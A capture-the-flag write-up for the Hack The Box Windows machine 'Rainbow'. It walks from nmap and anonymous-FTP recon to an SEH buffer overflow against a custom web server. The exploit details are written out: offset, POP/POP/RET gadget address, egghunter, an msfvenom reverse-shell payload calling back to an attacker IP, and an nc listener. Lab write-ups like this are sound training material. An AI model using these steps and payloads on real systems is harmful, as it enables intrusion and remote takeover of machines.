Rainbow
Rainbow is a medium Windows box built around a custom C++ web server. Anonymous FTP hands out the server binary and a developer note hinting at frequent crashes, which points straight at memory corruption. Port 8080 runs that server and is vulnerable to an SEH-based stack buffer overflow; exploiting it with a POP/POP/RET gadget and an egghunter yields a shell as the rainbow user. This post covers recon through the foothold shell and the user flag.
Overview
Rainbow is a medium-difficulty Windows machine. The path to a user shell is pure binary exploitation: an anonymous FTP server leaks the exact web-server program running on port 8080, a developer note admits it “crashes a lot,” and the server itself has no bounds checking on large POST bodies. That combination — a leaked binary plus an unchecked copy onto the stack — is a textbook SEH overflow that lands a reverse shell as rainbow. This post goes from recon to user.txt.
Recon
| Port | Service | Notes |
|---|---|---|
| 21 | FTP (Microsoft ftpd) | anonymous login allowed |
| 80 | HTTP (IIS 10.0) | default IIS page |
| 8080 | HTTP | custom server — X-Powered-By: Rainbow 0.1 |
| 135/139/445 | msrpc / netbios / smb | standard Windows |
| 3389 | RDP | — |
1
nmap -p- --min-rate=1000 -sC -sV 10.129.234.171
The interesting target is port 8080: a non-standard web server identifying itself as Rainbow 0.1, not IIS. Anything hand-rolled and labelled “0.1” is worth a hard look.
Enumeration
Anonymous FTP is the first thing to check, and it pays off immediately:
1
curl -s ftp://anonymous:[email protected]/ -l
Three files plus a wwwroot directory. Download everything:
1
2
3
curl -s -O ftp://anonymous:[email protected]/rainbow.exe
curl -s -O ftp://anonymous:[email protected]/dev.txt
curl -s -O ftp://anonymous:[email protected]/restart.ps1
rainbow.exe— the actual web-server binary serving port 8080.dev.txt— a note from the dev team: “Our webserver has been crashing a lot lately. Instead of touching the code we added a restart script! The server will dynamically pick a port when its default port is unresponsive (8080-8090).”restart.ps1— a watchdog that relaunchesrainbow.exewithin ~30 seconds of any crash.
This is a direct invitation: the server crashes, here is the binary, and a watchdog will keep handing you fresh attempts. Confirming the service banner:
1
curl -s -i http://10.129.234.171:8080/
Foothold
rainbow.exe is a 32-bit C++ web server with no length validation on the POST body. A large enough body overflows the stack and corrupts the Structured Exception Handler (SEH) chain. Because the binary is leaked, all offset and gadget work is done locally (mona/WinDbg) and fired remotely.
Key parameters of the exploit:
- offset 660 to the NSEH/SEH records
- NSEH =
\xEB\x80\x90\x90(a short jump backward into the buffer) - SEH =
0x004094d8— aPOP / POP / RETgadget insiderainbow.exe(the binary’s base is not ASLR’d, so the address is stable) - a WOW64 / Win10 egghunter that scans memory for the tag
w00t, where the real staged reverse-shell payload lives - a staged
windows/shell_reverse_tcppayload generated with bad chars\x00\x0a\x0dexcluded
Generate the payload and build the request:
1
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp -b "\x00\x0a\x0d" LHOST=10.10.16.13 LPORT=9001 -f python -v buf > sc9001.py
Start a listener, then fire the overflow against port 8080:
1
2
nc -nvlp 9001
python3 exploit.py
The oversized POST corrupts the stack, the exception triggers, execution lands on our POP/POP/RET gadget, the NSEH short-jump bounces back into the buffer, and the egghunter locates and runs the staged shellcode — a reverse shell connects back as rainbow\rainbow. If a single attempt misses, the watchdog respawns the service and the exploit is simply re-fired.
User flag
1
type C:\Users\rainbow\Desktop\user.txt # HTB{...}
Shell obtained as rainbow, user flag captured.
Foothold complete. Privilege escalation is left as an exercise — this post stops at user.